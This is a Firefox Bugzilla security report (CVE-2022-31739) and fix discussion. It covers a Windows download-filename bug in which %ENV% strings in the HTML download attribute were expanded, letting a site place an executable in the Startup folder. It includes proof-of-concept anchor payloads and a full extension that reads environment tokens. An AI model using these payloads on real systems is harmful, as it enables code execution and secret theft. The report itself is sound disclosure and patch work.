Closed Bug 1765049 (CVE-2022-31739) Opened 2 years ago Closed 2 years ago

Possible download files like exe to user Startup folder on windows, which may cause RCE

Categories

(Firefox :: Downloads Panel, defect, P1)

Firefox 99
Desktop
Windows 10
defect

Tracking

()

VERIFIED FIXED
102 Branch
Tracking Status
firefox-esr91 101+ verified
firefox99 --- wontfix
firefox100 + wontfix
firefox101 + verified
firefox102 + verified

People

(Reporter: zhchbin, Assigned: molly)

References

Details

(Keywords: csectype-priv-escalation, reporter-external, sec-high, Whiteboard: [adv-main101+][adv-esr91.10+])

Attachments

(6 files)

Steps to reproduce:

Pre Requirements:

  1. Settings → Files and Applications → Downloads → “Always ask you where to save files” is checked
  2. Environment Variable: %HOMEPATH% resolves to \ . See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to . Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to . See link:
    1. https://superuser.com/questions/255776/overriding-homedrive-and-homepath-as-a-windows-7-user/
    2. https://superuser.com/questions/246731/how-do-i-change-homedrive-homepath-and-homeshare-in-windows-xp
    3. https://stackoverflow.com/questions/40077826/windows-10-system-environment-variable-path-back-slash-meaning
    4. ...

Steps:

  1. Run the app.py: python app.py. Note: I didn't attach calc.exe in the attached file: firefox-startup-poc.zip
  2. Visit the http://127.0.0.1:5000/, by holding for 2 seconds ENTER button on the website, the hacker can trick the user download a file like exe to his Startup folder, which will lead to RCE when system reboot.

Details:
<a id="link" href="/poc.exe" download="%APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe">POC</a>

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

Another attack scenario
User has python installed and “PYTHONPATH” is configured to a path ends with backslash(). For example: PYTHONPATH=C:\MyPYTHON. For more details about PYTHONPATH, see link: https://bic-berkeley.github.io/psych-214-fall-2016/using_pythonpath.html

Python imports should be grouped in the following order:

  1. sys.modules
  2. built-in modules
  3. import path: sys.path A list of strings that specifies the search path for modules. Initialized from the environment variable PYTHONPATH, plus an installation-dependent default.

So if we put string.py under the %PYTHONPATH% directory, it will hijack the “import string”.

<a id="link" href="/pystr" download="%PYTHONPATH%string.py">POC</a>

If user’s PYTHONPATH is configured without endings with backslash, we can still concatenate %HOMEPATH% to attack.

<a id="link" href="/pystr" download="%PYTHONPATH%%HOMEPATH%string.py">POC</a>

Actual results:

Website can trick user download file to startup directory, which may cause RCE.

Expected results:

% should be stripped in the file save dialog.

Attached file app.py
Attached video startup-poc.mp4
Attached video pythonpath-poc.mp4
OS: Unspecified → Windows 10
Hardware: Unspecified → Desktop

(In reply to zhchbin from comment #0)

After my original description getting formatted in Bugzilla, \. becomes ., which may cause incorrect understanding.

Steps to reproduce:

Pre Requirements:

  1. Settings → Files and Applications → Downloads → “Always ask you where to save files” is checked
  2. Environment Variable: %HOMEPATH% resolves to \ . See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to . Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to . See link:

Here is the right one:

Environment Variable: %HOMEPATH% resolves to \. See link: https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/variables-resolved-incorrectly , when user's home folder is on a DfS share, %HOMEPATH% should resolve to \. Besides that, in some companies, IT department will configure their employee’s computer home directory to a network driver, which will also result in %HOMEPATH% resolving to \.

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

HTML <a> download attribute accept “%” in the file name, when the file save dialog show up and user click “Save”, %APPDATA%%HOMEPATH%Microsoft%HOMEPATH%Windows%HOMEPATH%Start Menu%HOMEPATH%Programs%HOMEPATH%Startup%HOMEPATH%poc.exe will be resolved to C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\poc.exe

User has python installed and “PYTHONPATH” is configured to a path ends with backslash(). For example: PYTHONPATH=C:\MyPYTHON. For more details about PYTHONPATH, see link: https://bic-berkeley.github.io/psych-214-fall-2016/using_pythonpath.html

For example: PYTHONPATH=C:\MyPYTHON\.

By the way, if you want to reproduce the problem but %HOMEPATH% is not resolving to \, you can also add another environment variable, setting it's value to \, reboot your computer for the changes to take effect, change the environment variable name in the app.py, the run the poc server and visit it.

Adding flag per email request

Flags: sec-bounty?
Component: Untriaged → Downloads Panel
Status: UNCONFIRMED → NEW
Ever confirmed: true

Tyson confirmed this one on Windows. If we save the file ourselves—the default—then we create a file with all the goop in the name. If the "ask every time" pref is set we send the goop to the system file dialog, and that apparently uses shell functions and interpolates the environment variables.

This could be really bad, with a few mitigating factors:

  • "ask every time" isn't the default (but it's popular, and windows is VERY popular)
  • WIthout a way to resolve something to a slash you won't get anywhere useful, but a remote home dir might be somewhat common among some groups like enterprise users.

Even without the clunky "hold enter for 2 seconds", some people won't pay much attention to the ugified file name and click "save" anyway if they're in a hurry.

I don't think the mitigations are enough to drop this to a sec-moderate; enough people will be at risk we should leave it at sec-high

Flags: needinfo?(dveditz)

One quick fix would be to convert '%' to '_' or something in filenames on Windows. I guess folks writing about odds might not like it.

The default behavior in ESR-91 is different than the new download behavior and it's also not vulnerable by default. But if you change ESR-91 to "Ask every time" the same bug exists there.

Marco: please help us figure out who can take on this bug.

Flags: needinfo?(dveditz) → needinfo?(mak)
Flags: needinfo?(mak)

Sorry, didn't mean to remove the ni.

Flags: needinfo?(mak)

I wonder if it would be excessive to sanitize the default filename at the windows/nsFilePicker.cpp level. Anything passing a default filename to the picker is subject to the problem, so I'm not sure just doing the usual downloads sanitize would suffice. Discussing on Slack with Molly.

I have another suggestion for fixing this problem. Maybe we can check if the default filename contains % before passing it to the file picker, if yes, call win32 api ExpandEnvironmentStringsW to expand environment-variable strings. After that we can replace illegal characters correctly.

(In reply to zhchbin from comment #12)

I have another suggestion for fixing this problem. Maybe we can check if the default filename contains % before passing it to the file picker, if yes, call win32 api ExpandEnvironmentStringsW to expand environment-variable strings. After that we can replace illegal characters correctly.

Sure that's also a possibility. I was mostly discussing with Molly about where to apply the fix, and we seem to agree fixing at the filepicker implementation level makes more sense, because it catches more cases and it's more future proof.

Whether we should "nullify" the variables or translate them, was not decided yet.
One downside of expanding the ENV vars (or better asking the system to do it), is that the user may still not understand the risk of saving into certain system folders, while disabling the vars would generate an ugly file name but would prevent a misunderstandment. Not sure if this is a blocker though, since the site could still use social engineering to convince the user to save into certain folders, it would just be harder than with automatic var expansion.

The other downside is that our code sanitizes before passing to the file picker, thus sanitizing after var expansion would not allow to easily apply the fix to the file picker code (unless we expand, sanitize, pass to the picker, sanitize vars again to prevent future misuse).

Flags: needinfo?(mak)

Neil, do the patches in bug 1746052 fix this?

Flags: needinfo?(enndeakin)

It doesn't. % isn't handled specially and left as is in the filename.

Flags: needinfo?(enndeakin)

Me and Molly also discussed about comment 12, and we think letting the burden to the user to figure out if the final destination would be safe or not doesn't sound too promising. On the other side generating an ugly filename in rare cases is not a problem. So I think we'd rather just replace % in the filepicker default filename param.

I found that browser extension API downloads.download also being effected by this problem. A malicious extension with downloads permission can steal users' environment variables like secrets, tokens or keys, without requiring "ask every time" of download setting. By the way, many popular services/applications recommend putting secrets in environments variables. For example,

Here is the POC add-on:
bg.js

function notify(filename) {
    browser.notifications.create('I got your env', {
      type: 'basic',
      iconUrl: '',
      title: 'I got your env secret',
      message: 'Your env: GITHUB_TOKEN secret in: ' + filename
   }, function(notificationId) {})
}

browser.downloads.onChanged.addListener(
  function(item) {
    console.log(item);
    if (item.id) {
      let searching = browser.downloads.search({id: item.id});
      searching.then((items) => {
        let f = items[0]
        if (f.filename) {
          notify(f.filename);
        }
      });
    }
  }
)

browser.downloads.download({
  url: 'https://download-installer.cdn.mozilla.net/pub/firefox/releases/100.0/win64/en-US/', 
  saveAs: true,
  filename: '%GITHUB_TOKEN%'
})

manifest.json

{
    "name": "Steal user env secret",
    "description": "Steal user env secret",
    "version": "0.1",
    "background": {"scripts": ["bg.js"], "persistent": false},
    "permissions": ["downloads", "notifications"],
    "content_security_policy": "script-src 'self'; default-src 'self'",
    "manifest_version": 2
}

Steps to reproduce:

  1. Set GITHUB_TOKEN=thisismygithubtoken in the system environment variable and then reboot.
  2. Go to about:debugging and load my POC Add-On above.
  3. Click Save and you will see thisismygithubtoken pop up in the filename.
Attached video poc-steal-env.mp4
Assignee: nobody → mhowell
Status: NEW → ASSIGNED

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: I doubt it would be all that difficult, but that couldn't really be improved on without deliberately obfuscating the patch.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which older supported branches are affected by this flaw?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: This patch just inserts a couple of lines into some pretty rarely changed code, I'll be surprised if those merges are not trivial.
  • How likely is this patch to cause regressions; how much testing does it need?: I don't think this patch would generate regressions within Firefox. It's possible that some (legitimate) sites would run afoul of this change and begin generating incorrect filenames, but that risk seems low and the problem itself seems acceptable.
  • Is Android affected?: No
Attachment #9275095 - Flags: sec-approval?

The severity field is not set for this bug.
:mak, could you have a look please?

For more information, please visit auto_nag documentation.

Flags: needinfo?(mak)
Severity: -- → S1
Flags: needinfo?(mak)
Priority: -- → P1

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved to land and request uplift

Attachment #9275095 - Flags: sec-approval? → sec-approval+

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Beta/Release Uplift Approval Request

  • User impact if declined: sec-high privesc/RCE bug
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: No
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): The patch only affects file downloads with a suggested path that includes a % character, not a very common thing to do, and it does not attempt to get in the way of those downloads, it just replaces the %'s.
  • String changes made/needed:
  • Is Android affected?: No
Attachment #9275095 - Flags: approval-mozilla-beta?
Group: firefox-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → 102 Branch

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved for 101.0b5.

Attachment #9275095 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

https://hg.mozilla.org/releases/mozilla-beta/rev/640650b986c3

Please also nominate this for ESR approval when you're comfortable doing so. It grafts cleanly.

Flags: needinfo?(mhowell)

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is a sec-high bug.
  • User impact if declined:
  • Fix Landed on Version: 102
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): See above request. This patch can alter the default name for downloaded files, but not disable or otherwise affect any actual download flows.
Flags: needinfo?(mhowell)
Attachment #9275095 - Flags: approval-mozilla-esr91?

Freddy will file comment 17 as a separate Web Extensions bug. That does not go through this file picker code
(please file new bugs for new problems -- it's too easy to miss variants buried in a bug that's nominally about something else)

See Also: → 1768713
Flags: sec-bounty? → sec-bounty+

(In reply to Daniel Veditz [:dveditz] from comment #28)

Freddy will file comment 17 as a separate Web Extensions bug. That does not go through this file picker code
(please file new bugs for new problems -- it's too easy to miss variants buried in a bug that's nominally about something else)

Thanks. I should had double checked the problem.

Comment on attachment 9275095 [details]
Bug 1765049 - Filter out illegal paths. r=mak

Approved for 91.10esr.

Attachment #9275095 - Flags: approval-mozilla-esr91? → approval-mozilla-esr91+
Flags: qe-verify+
QA Whiteboard: [qa-triaged]

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Flags: needinfo?(zhchbin)

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

Flags: needinfo?(zhchbin)

(In reply to zhchbin from comment #33)

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

I'm confused - are you saying the downloads.download extension issue is also resolved? If that never involved a filepicker, I don't see how it would be...

Flags: needinfo?(zhchbin)

(In reply to :Gijs (he/him) from comment #34)

(In reply to zhchbin from comment #33)

(In reply to Hani Yacoub from comment #32)

We tried to verify the fix of the bug on our end, but we couldn't manage to reproduce the issue or to verify the fix. We tried to set the environment but due to some restrictions we didn't manage to do that.

zhchbin, could you please check if the issue is fixed on your end on Firefox Nighty and Beta?
You can download the builds from here: https://www.mozilla.org/en-US/firefox/channel/desktop/
Thanks.

Fix verified. As far as I can see, problems I reported above were resolved.

@freddy, I think we can mark https://bugzilla.mozilla.org/show_bug.cgi?id=1768713 as duplicated.

I'm confused - are you saying the downloads.download extension issue is also resolved? If that never involved a filepicker, I don't see how it would be...

Yes. I had verified that. Also take a look at: https://bugzilla.mozilla.org/show_bug.cgi?id=1768713#c2

Flags: needinfo?(zhchbin)

Changing tracking status for Firefox101 and Firefox102 to verified.

Hello! We encountered the following regression for talos on mozilla-beta. Would it be possible for this push to have triggered that regression ?

Flags: needinfo?(mhowell)

Hmm. I don't think so, sorry. The code in this patch only executes when we are about to show the Windows system dialog for selecting a location to save a file to, so it doesn't apply to macOS at all, and it doesn't look like any of the individual tests involved there would ever exercise this code even on Windows.

Flags: needinfo?(mhowell)

zhchbin, could you please do this last verification on the latest esr build so we could close this bug as verified?
https://archive.mozilla.org/pub/firefox/candidates/91.10.0esr-candidates/build1/

Thank you!

Flags: needinfo?(zhchbin)

(In reply to Hani Yacoub from comment #40)

zhchbin, could you please do this last verification on the latest esr build so we could close this bug as verified?
https://archive.mozilla.org/pub/firefox/candidates/91.10.0esr-candidates/build1/

Thank you!

My pleasure. Fix Verified.

Flags: needinfo?(zhchbin)

Thank you!
Updating the status and the tracking flags accordingly.

Status: RESOLVED → VERIFIED
QA Whiteboard: [qa-triaged]
Whiteboard: [adv-main101+]
Whiteboard: [adv-main101+] → [adv-main101+][adv-esr91.10+]
Alias: CVE-2022-31739
Group: core-security-release
See Also: → 1811663
Depends on: CVE-2023-28163
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: